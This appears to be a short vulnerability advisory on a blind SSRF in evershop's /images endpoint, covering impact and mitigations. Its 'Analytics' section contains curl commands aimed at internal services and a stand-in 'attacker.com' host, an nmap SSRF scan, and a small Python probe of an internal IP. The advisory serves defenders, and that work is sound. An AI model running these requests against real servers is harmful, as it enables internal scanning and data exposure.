Listen to this Post
The vulnerability in evershop 2.1.0 and prior is a blind Server-Side Request Forgery (SSRF) in the “GET /images” API endpoint. It allows unauthenticated attackers to force the server to initiate arbitrary HTTP or HTTPS requests by manipulating the “src” query parameter. Due to insufficient input validation, the server accepts any URI provided in the “src” parameter and attempts to fetch it. This enables attackers to specify URLs pointing to internal network resources or external systems. The server acts as a proxy, sending requests from its own IP address. Since the vulnerability is blind, the attacker does not directly receive the response, but can still infer information based on server behavior or errors. Attackers can exploit this to scan internal ports, access sensitive internal services, or trigger requests to malicious endpoints. The flaw stems from the application’s image handling logic, where user-supplied URLs are fetched without proper restrictions. This could lead to data exfiltration, service disruption, or further attacks on internal infrastructure. The issue is particularly dangerous in cloud environments where metadata services are accessible. The vulnerability requires no authentication, making it easily exploitable. Mitigation involves validating and sanitizing the “src” parameter to only allow trusted domains.
Platform: evershop
Version: 2.1.0 prior
Vulnerability: Blind SSRF
Severity: Moderate
date: Jan 5 2026
Prediction: Patch expected soon
What Undercode Say:
Analytics:
curl -v “http://target/images?src=http://internal-service”
curl “http://target/images?src=https://attacker.com”
nmap –script http-ssrf target
cat exploit.py
import requests
url = “http://target/images”
params = {“src”: “http://192.168.1.1:22”}
response = requests.get(url, params=params)
how Exploit:
Craft malicious “src” parameter.
Target internal IPs.
Use for port scanning.
Protection from this CVE:
Validate “src” parameter input.
Use URL allowlisting.
Implement network segmentation.
Impact:
Internal network exposure.
Potential data leakage.
Service disruption.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
